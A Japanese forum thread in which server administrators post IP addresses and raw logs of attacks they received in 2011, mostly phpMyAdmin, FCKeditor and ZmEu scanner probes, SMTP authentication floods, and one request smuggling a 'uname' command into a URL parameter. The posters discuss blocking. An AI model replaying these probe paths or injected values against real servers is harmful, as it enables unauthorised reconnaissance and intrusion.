アタックNo1してきたIPを晒すスレ
メールサーバへの攻撃 113.244.196.159
1日1万通以上はじいてるのに懲りないww 193.252.15.94
lputeaux-151-43-28-94.w193-252.abo.wanadoo.fr
89.2.94.115
ip-115.net-89-2-94.rev.numericable.fr 162.78.3.110.ap.yournet.ne.jpなんやて 74.3.202.84 - - [20/Mar/2011:08:01:18 +0900] "HEAD /phpmyadmintting.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows; U; Windows NT 7.0; en; rv:1.9.1.3) Gecko/20090309 Firefox/3.5.3"
74.3.202.84 - - [20/Mar/2011:08:01:19 +0900] "HEAD //phpMyAdmin/tting.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows; U; Windows NT 7.0; en; rv:1.9.1.3) Gecko/20090309 Firefox/3.5.3"
74.3.202.84 - - [20/Mar/2011:08:01:19 +0900] "HEAD //admin/tting.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows; U; Windows NT 7.0; en; rv:1.9.1.3) Gecko/20090309 Firefox/3.5.3"
74.3.202.84 - - [20/Mar/2011:08:01:19 +0900] "HEAD //mysql/tting.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows; U; Windows NT 7.0; en; rv:1.9.1.3) Gecko/20090309 Firefox/3.5.3"
74.3.202.84 - - [20/Mar/2011:08:01:19 +0900] "HEAD //phpmyadmin2/tting.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows; U; Windows NT 7.0; en; rv:1.9.1.3) Gecko/20090309 Firefox/3.5.3"
74.3.202.84 - - [20/Mar/2011:08:01:20 +0900] "HEAD /epgrec/envSetting.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows; U; Windows NT 7.0; en; rv:1.9.1.3) Gecko/20090309 Firefox/3.5.3"
PMANと結婚しろ 昨夜21時過ぎからSMTP鯖へ2~3秒毎に延々アタック
> "2011-04-04 21:15:49","189.52.17.130","xgjnswuku.com","","","","","AUTH=EFAIL:TYPE=CRAM-MD5","","0",""
> "2011-04-04 21:15:51","189.52.17.130","xgjnswuku.com","","","","","AUTH=EFAIL:TYPE=CRAM-MD5","","0",""
> "2011-04-04 21:15:53","189.52.17.130","xgjnswuku.com","","","","","AUTH=EFAIL:TYPE=CRAM-MD5","","0",""
> "2011-04-04 21:15:55","189.52.17.130","xgjnswuku.com","","","","","AUTH=EFAIL:TYPE=CRAM-MD5","","0",""
> "2011-04-04 21:15:57","189.52.17.130","xgjnswuku.com","","","","","AUTH=EFAIL:TYPE=CRAM-MD5","","0",""
> "2011-04-04 21:16:00","189.52.17.130","xgjnswuku.com","","","","","AUTH=EFAIL:TYPE=CRAM-MD5","","0",""
> "2011-04-04 21:16:02","189.52.17.130","xgjnswuku.com","","","","","AUTH=EFAIL:TYPE=CRAM-MD5","","0",""
> "2011-04-04 21:16:04","189.52.17.130","xgjnswuku.com","","","","","AUTH=EFAIL:TYPE=CRAM-MD5","","0",""
> "2011-04-04 21:16:06","189.52.17.130","xgjnswuku.com","","","","","AUTH=EFAIL:TYPE=CRAM-MD5","","0",""
> "2011-04-04 21:16:08","189.52.17.130","xgjnswuku.com","","","","","AUTH=EFAIL:TYPE=CRAM-MD5","","0",""
> "2011-04-04 21:16:10","189.52.17.130","xgjnswuku.com","","","","","AUTH=EFAIL:TYPE=CRAM-MD5","","0",""
> "2011-04-04 21:16:12","189.52.17.130","xgjnswuku.com","","","","","AUTH=EFAIL:TYPE=CRAM-MD5","","0",""
> "2011-04-04 21:16:14","189.52.17.130","xgjnswuku.com","","","","","AUTH=EFAIL:TYPE=CRAM-MD5","","0",""
> "2011-04-04 21:16:16","189.52.17.130","xgjnswuku.com","","","","","AUTH=EFAIL:TYPE=CRAM-MD5","","0",""
> "2011-04-04 21:16:18","189.52.17.130","xgjnswuku.com","","","","","AUTH=EFAIL:TYPE=CRAM-MD5","","0",""
以下略 なんか見慣れないものがあった
> 2011/04/10,07:49:13,216.108.235.94,"host1.capitalunlimitedgroup.com","-","-",GET,"/","","1.1",200,8097
> 2011/04/10,07:49:17,216.108.235.94,"host1.capitalunlimitedgroup.com","-","-",GET,"/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php","Command=GetFolders&Type=File&CurrentFolder=/","1.1",404,3077
> 2011/04/10,07:49:17,216.108.235.94,"host1.capitalunlimitedgroup.com","-","-",GET,"/fckeditor/editor/filemanager/connectors/php/connector.php","Command=GetFolders&Type=File&CurrentFolder=/","1.1",404,3077
> 2011/04/10,07:49:17,216.108.235.94,"host1.capitalunlimitedgroup.com","-","-",GET,"/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp","Command=GetFolders&Type=File&CurrentFolder=/","1.1",404,3077
> 2011/04/10,07:49:18,216.108.235.94,"host1.capitalunlimitedgroup.com","-","-",GET,"/fckeditor/editor/filemanager/connectors/asp/connector.asp","Command=GetFolders&Type=File&CurrentFolder=/","1.1",404,3077
> 2011/04/10,07:49:18,216.108.235.94,"host1.capitalunlimitedgroup.com","-","-",GET,"/admin/FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php","Command=GetFolders&Type=File&CurrentFolder=/","1.1",404,3077
> 2011/04/10,07:49:18,216.108.235.94,"host1.capitalunlimitedgroup.com","-","-",GET,"/admin/FCKeditor/editor/filemanager/connectors/php/connector.php","Command=GetFolders&Type=File&CurrentFolder=/","1.1",404,3077
> 2011/04/10,07:49:18,216.108.235.94,"host1.capitalunlimitedgroup.com","-","-",GET,"/admin/FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp","Command=GetFolders&Type=File&CurrentFolder=/","1.1",404,3077
> 2011/04/10,07:49:18,216.108.235.94,"host1.capitalunlimitedgroup.com","-","-",GET,"/admin/FCKeditor/editor/filemanager/connectors/asp/connector.asp","Command=GetFolders&Type=File&CurrentFolder=/","1.1",404,3077
> 2011/04/10,07:49:18,216.108.235.94,"host1.capitalunlimitedgroup.com","-","-",GET,"/admin/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php","Command=GetFolders&Type=File&CurrentFolder=/","1.1",404,3077
> 2011/04/10,07:49:19,216.108.235.94,"host1.capitalunlimitedgroup.com","-","-",GET,"/admin/fckeditor/editor/filemanager/connectors/php/connector.php","Command=GetFolders&Type=File&CurrentFolder=/","1.1",404,3077
> 2011/04/10,07:49:19,216.108.235.94,"host1.capitalunlimitedgroup.com","-","-",GET,"/admin/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp","Command=GetFolders&Type=File&CurrentFolder=/","1.1",404,3077
> 2011/04/10,07:49:19,216.108.235.94,"host1.capitalunlimitedgroup.com","-","-",GET,"/admin/fckeditor/editor/filemanager/connectors/asp/connector.asp","Command=GetFolders&Type=File&CurrentFolder=/","1.1",404,3077
> 2011/04/10,07:49:19,216.108.235.94,"host1.capitalunlimitedgroup.com","-","-",GET,"/FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php","Command=GetFolders&Type=File&CurrentFolder=/","1.1",404,3077 > 2011/04/10,07:49:19,216.108.235.94,"host1.capitalunlimitedgroup.com","-","-",GET,"/FCKeditor/editor/filemanager/connectors/php/connector.php","Command=GetFolders&Type=File&CurrentFolder=/","1.1",404,3077
> 2011/04/10,07:49:19,216.108.235.94,"host1.capitalunlimitedgroup.com","-","-",GET,"/FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp","Command=GetFolders&Type=File&CurrentFolder=/","1.1",404,3077
> 2011/04/10,07:49:20,216.108.235.94,"host1.capitalunlimitedgroup.com","-","-",GET,"/FCKeditor/editor/filemanager/connectors/asp/connector.asp","Command=GetFolders&Type=File&CurrentFolder=/","1.1",404,3077
> 2011/04/10,07:49:20,216.108.235.94,"host1.capitalunlimitedgroup.com","-","-",GET,"/include/FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php","Command=GetFolders&Type=File&CurrentFolder=/","1.1",404,3077
> 2011/04/10,07:49:20,216.108.235.94,"host1.capitalunlimitedgroup.com","-","-",GET,"/include/FCKeditor/editor/filemanager/connectors/php/connector.php","Command=GetFolders&Type=File&CurrentFolder=/","1.1",404,3077
> 2011/04/10,07:49:20,216.108.235.94,"host1.capitalunlimitedgroup.com","-","-",GET,"/include/FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp","Command=GetFolders&Type=File&CurrentFolder=/","1.1",404,3077
> 2011/04/10,07:49:20,216.108.235.94,"host1.capitalunlimitedgroup.com","-","-",GET,"/include/FCKeditor/editor/filemanager/connectors/asp/connector.asp","Command=GetFolders&Type=File&CurrentFolder=/","1.1",404,3077
> 2011/04/10,07:49:20,216.108.235.94,"host1.capitalunlimitedgroup.com","-","-",GET,"/include/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php","Command=GetFolders&Type=File&CurrentFolder=/","1.1",404,3077
> 2011/04/10,07:49:21,216.108.235.94,"host1.capitalunlimitedgroup.com","-","-",GET,"/include/fckeditor/editor/filemanager/connectors/php/connector.php","Command=GetFolders&Type=File&CurrentFolder=/","1.1",404,3077
> 2011/04/10,07:49:21,216.108.235.94,"host1.capitalunlimitedgroup.com","-","-",GET,"/include/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp","Command=GetFolders&Type=File&CurrentFolder=/","1.1",404,3077
> 2011/04/10,07:49:21,216.108.235.94,"host1.capitalunlimitedgroup.com","-","-",GET,"/include/fckeditor/editor/filemanager/connectors/asp/connector.asp","Command=GetFolders&Type=File&CurrentFolder=/","1.1",404,3077
> 2011/04/10,07:49:21,216.108.235.94,"host1.capitalunlimitedgroup.com","-","-",GET,"/manager/FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php","Command=GetFolders&Type=File&CurrentFolder=/","1.1",404,3077
> 2011/04/10,07:49:21,216.108.235.94,"host1.capitalunlimitedgroup.com","-","-",GET,"/manager/FCKeditor/editor/filemanager/connectors/php/connector.php","Command=GetFolders&Type=File&CurrentFolder=/","1.1",404,3077
> 2011/04/10,07:49:21,216.108.235.94,"host1.capitalunlimitedgroup.com","-","-",GET,"/manager/FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp","Command=GetFolders&Type=File&CurrentFolder=/","1.1",404,3077 > 2011/04/10,07:49:22,216.108.235.94,"host1.capitalunlimitedgroup.com","-","-",GET,"/manager/FCKeditor/editor/filemanager/connectors/asp/connector.asp","Command=GetFolders&Type=File&CurrentFolder=/","1.1",404,3077
> 2011/04/10,07:49:22,216.108.235.94,"host1.capitalunlimitedgroup.com","-","-",GET,"/manager/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php","Command=GetFolders&Type=File&CurrentFolder=/","1.1",404,3077
> 2011/04/10,07:49:22,216.108.235.94,"host1.capitalunlimitedgroup.com","-","-",GET,"/manager/fckeditor/editor/filemanager/connectors/php/connector.php","Command=GetFolders&Type=File&CurrentFolder=/","1.1",404,3077
> 2011/04/10,07:49:22,216.108.235.94,"host1.capitalunlimitedgroup.com","-","-",GET,"/manager/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp","Command=GetFolders&Type=File&CurrentFolder=/","1.1",404,3077
> 2011/04/10,07:49:22,216.108.235.94,"host1.capitalunlimitedgroup.com","-","-",GET,"/manager/fckeditor/editor/filemanager/connectors/asp/connector.asp","Command=GetFolders&Type=File&CurrentFolder=/","1.1",404,3077
> 2011/04/10,07:49:23,216.108.235.94,"host1.capitalunlimitedgroup.com","-","-",GET,"/fck/editor/filemanager/browser/default/connectors/php/connector.php","Command=GetFolders&Type=File&CurrentFolder=/","1.1",404,3077
> 2011/04/10,07:49:23,216.108.235.94,"host1.capitalunlimitedgroup.com","-","-",GET,"/fck/editor/filemanager/connectors/php/connector.php","Command=GetFolders&Type=File&CurrentFolder=/","1.1",404,3077
> 2011/04/10,07:49:23,216.108.235.94,"host1.capitalunlimitedgroup.com","-","-",GET,"/fck/editor/filemanager/browser/default/connectors/asp/connector.asp","Command=GetFolders&Type=File&CurrentFolder=/","1.1",404,3077
> 2011/04/10,07:49:23,216.108.235.94,"host1.capitalunlimitedgroup.com","-","-",GET,"/fck/editor/filemanager/connectors/asp/connector.asp","Command=GetFolders&Type=File&CurrentFolder=/","1.1",404,3077 49.212.19.24
www1230ub.sakura.ne.jp
49.212.21.126
www1102ud.sakura.ne.jp 41.89.28.4 - - [30/Apr/2011:14:35:13 +0900] "GET /webdav/test HTTP/1.1" 404 289 "-" "-"
217.243.187.36 - - [30/Apr/2011:23:45:49 +0900] "GET /webdav/test HTTP/1.1" 404 289 "-" "-"
81.201.60.163 - - [02/May/2011:05:29:09 +0900] "GET /sd/1M HTTP/1.1" 404 280 "-" "-"
195.246.217.24 - - [03/May/2011:07:51:26 +0900] "GET /user/soapCaller.bs HTTP/1.1" 404 296 "-" "Morfeus Fucking Scanner" 123.30.109.21 - - [04/May/2011:17:00:57 +0900] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 319 "-" "ZmEu"
123.30.109.21 - - [04/May/2011:17:00:57 +0900] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 303 "-" "ZmEu"
123.30.109.21 - - [04/May/2011:17:00:58 +0900] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 403 310 "-" "ZmEu"
123.30.109.21 - - [04/May/2011:17:01:06 +0900] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 319 "-" "ZmEu"
123.30.109.21 - - [04/May/2011:17:01:07 +0900] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 303 "-" "ZmEu"
123.30.109.21 - - [04/May/2011:17:01:07 +0900] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 403 310 "-" "ZmEu"
123.30.109.21 - - [04/May/2011:17:02:07 +0900] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 319 "-" "ZmEu"
123.30.109.21 - - [04/May/2011:17:02:07 +0900] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 303 "-" "ZmEu"
123.30.109.21 - - [04/May/2011:17:02:07 +0900] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 403 310 "-" "ZmEu" 46.28.109.24 [2011.4/03-12:12:23 +0900] "GET //phpmyadmin/ HTTP/1.1" 404 REF:-
46.28.109.24 [2011.4/03-12:12:23 +0900] "GET //phpMyAdmin/ HTTP/1.1" 404 REF:-
46.28.109.24 [2011.4/03-12:12:29 +0900] "GET //dbadmin/ HTTP/1.1" 404 REF:-
46.28.109.24 [2011.4/03-12:12:24 +0900] "GET //admin/ HTTP/1.1" 404 REF:-
46.28.109.24 [2011.4/03-12:12:35 +0900] "GET //myadmin/ HTTP/1.1" 404 REF:-
46.28.109.24 [2011.4/03-12:12:41 +0900] "GET //mysql/ HTTP/1.1" 404 REF:-
46.28.109.24 [2011.4/03-12:12:47 +0900] "GET //mysqladmin/ HTTP/1.1" 404 REF:-
46.28.109.24 [2011.4/03-12:12:53 +0900] "GET //phpadmin/ HTTP/1.1" 404 REF:-
46.28.109.24 [2011.4/03-12:12:59 +0900] "GET //pma/ HTTP/1.1" 404 REF:-
46.28.109.24 [2011.4/03-12:13:05 +0900] "GET //phpdb/ HTTP/1.1" 404 REF:-
46.28.109.24 [2011.4/03-12:13:11 +0900] "GET //db/ HTTP/1.1" 404 REF:-
46.28.109.24 [2011.4/03-12:13:17 +0900] "GET //mysqladmin/ HTTP/1.1" 404 REF:-
46.28.109.24 [2011.4/03-12:13:23 +0900] "GET //SQL/ HTTP/1.1" 404 REF:-
46.28.109.24 [2011.4/03-12:13:29 +0900] "GET //padmin/ HTTP/1.1" 404 REF:-
46.28.109.24 [2011.4/03-12:13:35 +0900] "GET //pmadmin/ HTTP/1.1" 404 REF:-
46.28.109.24 [2011.4/03-12:13:41 +0900] "GET //webdb/ HTTP/1.1" 404 REF:-
113.140.75.222 [2011.4/03-19:45:58 +0900] "GET //phpmyadmin/ HTTP/1.1" 404 REF:-
113.140.75.222 [2011.4/03-19:45:59 +0900] "GET //phpMyAdmin/ HTTP/1.1" 404 REF:-
113.140.75.222 [2011.4/03-19:46:00 +0900] "GET //pma/ HTTP/1.1" 404 REF:-
113.140.75.222 [2011.4/03-19:46:05 +0900] "GET //dbadmin/ HTTP/1.1" 404 REF:-
113.140.75.222 [2011.4/03-19:46:11 +0900] "GET //myadmin/ HTTP/1.1" 404 REF:-
113.140.75.222 [2011.4/03-19:46:17 +0900] "GET //phppgadmin/ HTTP/1.1" 404 REF:-
113.140.75.222 [2011.4/03-19:46:23 +0900] "GET //PMA/ HTTP/1.1" 404 REF:-
113.140.75.222 [2011.4/03-19:46:29 +0900] "GET //admin/ HTTP/1.1" 404 REF:-
113.140.75.222 [2011.4/03-19:46:35 +0900] "GET //MyAdmin/ HTTP/1.1" 404 REF:-
212.58.96.55 [2011.4/13-01:55:54 +0900] "GET //phpmyadmin/ HTTP/1.1" 404 REF:-
212.58.96.55 [2011.4/13-01:55:54 +0900] "GET //phpMyAdmin/ HTTP/1.1" 404 REF:-
212.58.96.55 [2011.4/13-01:55:55 +0900] "GET //MyAdmin/ HTTP/1.1" 404 REF:-
212.58.96.55 [2011.4/13-01:56:01 +0900] "GET //myadmin/ HTTP/1.1" 404 REF:-
212.58.96.55 [2011.4/13-01:56:07 +0900] "GET //pma/ HTTP/1.1" 404 REF:-
212.58.96.55 [2011.4/13-01:56:13 +0900] "GET //mysql/ HTTP/1.1" 404 REF:-
58.83.227.150 [2011.4/13-22:18:03 +0900] "GET //phpmyadmin/ HTTP/1.1" 404 REF:-
58.83.227.150 [2011.4/13-22:18:04 +0900] "GET //phpMyAdmin/ HTTP/1.1" 404 REF:-
58.83.227.150 [2011.4/13-22:18:05 +0900] "GET //pma/ HTTP/1.1" 404 REF:-
58.83.227.150 [2011.4/13-22:18:10 +0900] "GET //dbadmin/ HTTP/1.1" 404 REF:-
58.83.227.150 [2011.4/13-22:18:16 +0900] "GET //myadmin/ HTTP/1.1" 404 REF:-
58.83.227.150 [2011.4/13-22:18:22 +0900] "GET //phppgadmin/ HTTP/1.1" 404 REF:-
58.83.227.150 [2011.4/13-22:18:28 +0900] "GET //PMA/ HTTP/1.1" 404 REF:-
58.83.227.150 [2011.4/13-22:18:34 +0900] "GET //admin/ HTTP/1.1" 404 REF:-
58.83.227.150 [2011.4/13-22:18:41 +0900] "GET //MyAdmin/ HTTP/1.1" 404 REF:-
123.30.109.21 [2011.4/20-13:22:53 +0900] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 REF:-
123.30.109.21 [2011.4/20-13:22:52 +0900] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 REF:-
123.30.109.21 [2011.4/30-00:16:47 +0900] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 403 REF:-
123.30.109.21 [2011.4/30-00:16:48 +0900] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 REF:-
123.30.109.21 [2011.4/30-00:16:48 +0900] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 REF:-
113.57.252.72 [2011.5/04-11:08:05 +0900] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 REF:-
113.57.252.72 [2011.5/04-11:08:05 +0900] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 403 REF:-
113.57.252.72 [2011.5/04-11:08:06 +0900] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 REF:-
113.57.252.72 [2011.5/04-11:08:07 +0900] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 REF:-
113.57.252.72 [2011.5/04-11:08:12 +0900] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 REF:- googlebotから謎のアクセス
なんだこれ。。。
66.249.69.28 - - [05/May/2011:20:52:21 +0900] "GET /upload/viewer_board/wdviewer.exe HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.69.28 - - [05/May/2011:20:52:24 +0900] "GET /upload/viewer_board/HwpViewer2007.exe HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.67.73 - - [05/May/2011:20:52:24 +0900] "GET /upload/viewer_board/AdbeRdr70_kor_full.exe HTTP/1.1" 404 325 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.69.28 - - [05/May/2011:20:52:25 +0900] "GET /upload/viewer_board/Hunv2k.exe HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 1年前に削除したKENTWEBのcgiに向かって、今でも毎日数十アクセスある。
apacheのアクセスログもエラーログも、404やら、File does not existのエラーメッセージでいっぱいwww
IP分散SEOの業者だと思うが、IPをランダム変化させながら広告を発射してくるので、iptablesに都度登録するスクリプトいれても
全くもってリソースの無駄。指定したアドレス(削除されたcgi)にアクセスしたIPはDROPするよう自動登録してるが、もう9000件を超えて
iptablesに食わせる、こっちのメモリリソースが無駄な気がしてきた。
最近のご丁寧に、リファラも指定して打ち込んでくるようになった。殺すぞwwwwww
http://link.iclub.to/0791597/
http://link.iclub.to/0933/
http://link.iclub.to/13571357/
http://link.iclub.to/nasato/
http://link.iclub.to/neko38/
http://link2.iclub.to/0762609/
http://link3.iclub.to/2264770/
http://link3.iclub.to/2889785/
http://link3.iclub.to/36912/
http://link4.iclub.to/kabu/
http://link6.iclub.to/uru80ta/
113.33.224.197
ftpアタきたんだけど、リモートデスクトップ開放してるが大丈夫なのかこれ 208.51.40.50
ずーとポートスキャンしてきてた
このIPアドレスを調べたら中国の新聞(?)サイトらしき所に行き着いたけれど、クラックでもされてるんかな 85.25.131.109 - - [16/Jun/2011:03:21:39 +0900] "GET /admin/Y-ivrrecording.php?php=info&ip=uname HTTP/1.1" 404 385 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9) Gecko/2008052906 Firefox/3.0"
最近、3日おきぐらいにY-ivrrecording.phpへのアクセスしてくるようになった
そんなファイル置いてないけど 今こいつが来とる
66.241.100.228
内容は>>61と同じ 219.135.253.80(80.253.135.219.broad.gz.gd.dynamic.163data.com.cn)
中国から
FTPにAdministratorでログインしようとしてた 114.173.176.253 p17253-ipngn100102okayamaima.okayama.ocn.ne.jp
114.174.207.4 p12004-ipngn100105osakakita.osaka.ocn.ne.jp
114.174.253.34 p14034-ipngn100108osakakita.osaka.ocn.ne.jp
114.173.15.191 p12191-ipngn100403kobeminato.hyogo.ocn.ne.jp
114.173.137.79 p18079-ipngn100204niho.hiroshima.ocn.ne.jp
1日20〜30回TCP445への接続を試みてくる
そろそろうざい 一日50〜120くらいftpにattackくるな
swatchで叩き落としてるが 次スレのスレタイはこうなるの?
アタックNo2してきたIPを晒すスレ 適当なところが見つからなかったんで。最近になって、
125.175.54.138 - - [15/Jul/2011:03:32:55 +0900] "GET /you/new.htm HTTP/1.1" 200 55472 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
125.175.54.138 - - [15/Jul/2011:03:32:56 +0900] ↑
125.175.54.138 - - [15/Jul/2011:03:32:56 +0900] ↑
125.175.54.138 - - [15/Jul/2011:03:35:02 +0900] ↑
125.175.54.138 - - [15/Jul/2011:03:35:03 +0900] ↑
125.175.54.138 - - [15/Jul/2011:03:35:03 +0900] ↑
・・・以下延々と続く・・・
というログが目に付くようになった。ソースIPは日本国内。
アクセス先のURLは正しいURLなんだが、中に張ってある画像へのアクセスはなく、
このページだけ何度もアクセスしてくる。refererもなし。
特徴として、必ず3回ひとまとめでアクセスがあって、
その後100秒〜200秒して次のアクセスがある。
・・・なんだろう? これ。 31.25.136.18 - - [21/Jun/2011:19:48:48 +0900] "GET /admin/Y-ivrrecording.php?php=info&ip=uname HTTP/1.1" 403 1506
193.227.186.153 - - [21/Jun/2011:14:05:16 +0900] "GET /admin/config.php HTTP/1.1" 403 1506
この2つのPHPに最近よくアクセスくるな。
置いてないのに。
JPまたは逆引き出来ないHOSTからは弾いてるんだけど、404返したほうがいいのかな >>80
URLから察するに、何かの更新情報とかを書いてるページ?
だとしたらスクレイピング目的のアクセスだと思う
実際どんなページなのかわからんから憶測だけど、たぶん悪意はないと思うよ
>>81
その手のはbotだから404返したところで無意味 >>82
更新情報と、あとリンク集のページにも似たようなアクセスがある。
意外に、referer spamばら撒くプログラムが動いてるけど、
セキュリティソフトがreferer止めてるとか・・・。
でもreferer spamはもうちょっと挙動が違うんだよな。 リファラスパムにしては間隔がきっちりしすぎてると思う…
試しにHTMLの構造変えて様子見してみ
それでペースが崩れたり人の手でアクセスしてくるような痕跡があるかどうか 68.169.42.240 - - [30/Jul/2011:23:34:52 +0900] "GET //scripts/setup.php HTTP/1.1" 404 215 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:34:52 +0900] "GET //admin/scripts/setup.php HTTP/1.1" 404 221 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:34:53 +0900] "GET //admin/pma/scripts/setup.php HTTP/1.1" 404 225 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:34:53 +0900] "GET //admin/phpmyadmin/scripts/setup.php HTTP/1.1" 404 232 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:34:53 +0900] "GET //db/scripts/setup.php HTTP/1.1" 404 218 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:34:54 +0900] "GET //dbadmin/scripts/setup.php HTTP/1.1" 404 223 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:34:54 +0900] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 223 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:34:54 +0900] "GET //mysql/scripts/setup.php HTTP/1.1" 404 221 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:34:55 +0900] "GET //mysqladmin/scripts/setup.php HTTP/1.1" 404 226 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:34:55 +0900] "GET //typo3/phpmyadmin/scripts/setup.php HTTP/1.1" 404 232 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:34:55 +0900] "GET //phpadmin/scripts/setup.php HTTP/1.1" 404 224 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:34:55 +0900] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 226 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:34:56 +0900] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 226 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:34:56 +0900] "GET //phpmyadmin1/scripts/setup.php HTTP/1.1" 404 227 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:34:56 +0900] "GET //phpmyadmin2/scripts/setup.php HTTP/1.1" 404 227 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:34:57 +0900] "GET //pma/scripts/setup.php HTTP/1.1" 404 219 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:34:57 +0900] "GET //web/phpMyAdmin/scripts/setup.php HTTP/1.1" 404 230 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:34:57 +0900] "GET //xampp/phpmyadmin/scripts/setup.php HTTP/1.1" 404 232 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:34:58 +0900] "GET //web/scripts/setup.php HTTP/1.1" 404 219 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:34:58 +0900] "GET //php-my-admin/scripts/setup.php HTTP/1.1" 404 228 "-" "-" 68.169.42.240 - - [30/Jul/2011:23:34:58 +0900] "GET //websql/scripts/setup.php HTTP/1.1" 404 222 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:34:58 +0900] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 226 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:34:59 +0900] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 226 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:34:59 +0900] "GET //phpMyAdmin-2/scripts/setup.php HTTP/1.1" 404 228 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:34:59 +0900] "GET //php-my-admin/scripts/setup.php HTTP/1.1" 404 228 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:00 +0900] "GET //phpMyAdmin-2.2.3/scripts/setup.php HTTP/1.1" 404 232 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:00 +0900] "GET //phpMyAdmin-2.2.6/scripts/setup.php HTTP/1.1" 404 232 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:00 +0900] "GET //phpMyAdmin-2.5.1/scripts/setup.php HTTP/1.1" 404 232 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:00 +0900] "GET //phpMyAdmin-2.5.4/scripts/setup.php HTTP/1.1" 404 232 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:01 +0900] "GET //phpMyAdmin-2.5.5-rc1/scripts/setup.php HTTP/1.1" 404 236 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:01 +0900] "GET //phpMyAdmin-2.5.5-rc2/scripts/setup.php HTTP/1.1" 404 236 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:01 +0900] "GET //phpMyAdmin-2.5.5/scripts/setup.php HTTP/1.1" 404 232 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:02 +0900] "GET //phpMyAdmin-2.5.5-pl1/scripts/setup.php HTTP/1.1" 404 236 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:02 +0900] "GET //phpMyAdmin-2.5.6-rc1/scripts/setup.php HTTP/1.1" 404 236 "-" "-"
68.169.42.240 - - [30/Jul/2011:23:35:02 +0900] "GET //phpMyAdmin-2.5.6-rc2/scripts/setup.php HTTP/1.1" 404 236 "-" "-"
